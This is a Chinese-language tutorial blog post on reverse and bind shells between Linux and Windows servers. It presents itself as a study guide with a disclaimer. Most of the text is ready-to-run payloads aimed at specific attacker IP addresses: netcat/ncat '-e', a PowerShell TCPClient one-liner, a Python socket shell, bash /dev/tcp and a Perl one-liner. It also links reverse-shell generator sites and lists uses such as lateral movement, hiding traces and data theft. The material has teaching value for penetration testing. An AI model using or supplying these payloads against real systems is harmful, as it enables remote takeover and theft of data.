一、Linux -> Windows1.1 反向连接1.1.1 nc反连1.1.2 PowerShell反连1.1.3 利用编程语言反连1.2 正向连接二、Windows -> Linux2.1 反向连接2.1.1 nc反连2.1.2 Bash-i连接2.1.3 Perl反连2.2 正向连接总结
免责声明:
请勿使用本文中提到的技术进行非法测试或行为。使用本文中提供的信息或工具所造成的任何后果和损失由使用者自行承担,所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用。
测试环境:
【试验机】:一台Linux服务器, 和一台Windows服务器:
【Windows服务器环境】:Windows Server 2016 数据中心版 64位中文版 2核4G
【Linux服务器环境】:Ubuntu Server 20.04 LTS 64位 2核4G
Linux服务器是自带nc的,Windows服务器我们需要将nc给上传上去
这里默认是存在漏洞的, 属于漏洞利用的后渗透阶段, 只演示反弹Shell的做法, 不演示漏洞利用
前提
反弹Shell的前提是已知存在漏洞, 并且漏洞可以利用, 或者存在命令执行的地方。
反弹Shell的作用
1、由于防火墙的设置, 无法正向连接目标服务器的时候, 就可以通过反弹Shell的方法让对方服务器出站主动连接我们的攻击机。
2、数据不回显, 我们无法直接直接从目标系统上建立连接并获取Shell控制权时, 也可以通过反弹Shell让目标系统主动给出权限。
反弹Shell的应用场景
1、远程控制
:通过反弹Shell, 我们可以远程控制目标系统, 执行攻击命令, 获得对目标系统的完全控制权限。
2、横向攻击
:我们只要能够成功反弹Shell并获得了目标系统的访问权限, 就可以进一步进行横向攻击, 在网络中移动并攻击其他系统, 从而获取更多的敏感信息或控制权。
3、隐藏攻击痕迹
:通过反弹Shell,我们在目标系统上执行命令, 而不需要直接访问目标系统, 这样就减少了被发现的风险,同时也就更好的隐藏了攻击者的身份和攻击行为。
4、数据盗取或系统破坏
:通过反弹Shell, 我们可以获取目标系统上的敏感数据, 并且可以给操作系统造成损害,进行文件删除等操作。
在线生成反弹Shell的网站
https://www.revshells.com/https://forum.ywhack.com/reverse-shell/https://sec.lintstar.top/https://forum.ywhack.com/shell.php
一、 Linux -> Windows
1.1 反向连接
1.1.1 nc反连
首先我们先演示, Linux作为攻击机, 然后对目标Windows服务器进行反弹Shell:
Linux攻击机ip:175.27.168.249
Windows服务器ip:119.45.115.236
给Windows服务器的网站目录下上传上我们的nc:
我们打开我们的在线反弹Shell命令生成器, 填写我们攻击机的ip地址以及监听端口号, 右边就会生成我们Linux攻击机的监听命令, 不过监听开启前要先把Linux服务器的入站规则里面添加上9001端口, 指定nc命令, shell种类指定cmd这样就生成了我们Windows服务器的反弹shell利用的payload:
1、在Linux攻击机开启对9001端口的监听:
nc -lvnp 9001
2、在Windows服务器cmd中使用一下payload:
nc 175.27.168.249 9001 -e cmd
执行后可以看到成功拿到Shell:
使用whoami命令确认权限, 发现是管理员用户:
1.1.2 PowerShell反连
我们使用反弹shell生成器, 然后像下图一样选择:
1、Linux攻击机监听9001端口:
nc -lvnp 9001
2、Windows服务器执行以下payload:
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('175.27.168.249',9001);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
可以看到成功拿到Shell:
通过whoami命令确认权限, 确定为管理员权限:
1.1.3 利用编程语言反连
利用编程语言让Windows主动交出Shell的话需要WIndows服务器上有这个语言的环境并且配置好了环境变量, 这里我们使用自己的物理机模拟是Windows被攻击机, 在自己的电脑上安装Python等环境并配置环境变量:
Python3反连
:
使用反弹Shell命令生成器, 选择以下选项:
1、Linux攻击机开启监听9001端口:
nc -lvnp 9001
2、Windows服务器在python中运行一下payload:
import os,socket,subprocess,threading;
def s2p(s, p):while True:data = s.recv(1024)if len(data) > 0:p.stdin.write(data)p.stdin.flush()def p2s(s, p):while True:s.send(p.stdout.read(1))s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("175.27.168.249",9001))p=subprocess.Popen(["cmd"], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE)s2p_thread = threading.Thread(target=s2p, args=[s, p])
s2p_thread.daemon = True
s2p_thread.start()p2s_thread = threading.Thread(target=p2s, args=[s, p])
p2s_thread.daemon = True
p2s_thread.start()try:p.wait()
except KeyboardInterrupt:s.close()
可以看到这里已经拿到了权限:
1.2 正向连接
正向连接就是让向目标系统传递payload, 使其将自己的cmd绑定到某个端口, 然后这个端口得是允许入站的, Linux攻击机直接去访问这个端口:
1、Windows服务器使用一下payload将cmd绑定到本地6666端口并开启监听:
nc -e cmd -lvnp 6666
2、Linux服务器直接通过nc进行连接
nc 119.45.115.236 6666
可以看到能够成功连接并且用户权限为管理员:
二、Windows -> Linux
现在开始Windows作为攻击机, Linux作为被攻击机进行演示:
2.1 反向连接
2.1.1 nc反连
1、Windows使用nc监听9002端口, 需要再安全组里面放开9002端口的入站规则:
nc -lvnp 9002
2、Linux服务器使用ncat连接Windows攻击机的9002端口:
ncat 119.45.115.236 9002 -e /bin/bash
可以看到在Windows这里已经成功拿到了Linux服务器的root权限了:
2.1.2 Bash-i连接
1、Windows攻击机使用nc监听9002端口:
nc -lvnp 9002
2、Linux服务器使用以下payload进行连接:
/bin/bash -i >& /dev/tcp/119.45.115.236/9002 0>&1
可以看到也是成功拿到了Linux服务器的root权限:
2.1.3 Perl反连
1、Windows攻击机监听9002端口:
nc -lvnp 9002
2、Linux服务器执行一下payload:
perl -e 'use Socket;$i="119.45.115.236";$p=9002;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'
这里也是可以直接拿到Linux服务器的root权限:
剩下的还有很多反连的方式,以及如果目标服务器安装了编程语言环境的也可以使用编程语言反连, 这里就不一一介绍了, 感兴趣的可以去试一试。
2.2 正向连接
1、让Linux服务器将shell绑定到9001端口:
ncat -e /bin/bash -lvnp 9001
2、让Windows攻击机直接访问目标服务器的9001端口:
nc 175.27.168.249 9001
这里可以看到成功拿到了Linux服务器的root权限:
总结:
1、Windows上基本就是CMD以及PowerShell命令可以反弹,然后就是配置了环境变量的开发语言也可以进行反弹shell。
2、Linux上默认自带的nc以及ncat等,系统命令,开发语言,以及安装了的开发语言基本都可以反弹shell。
原创 PysonX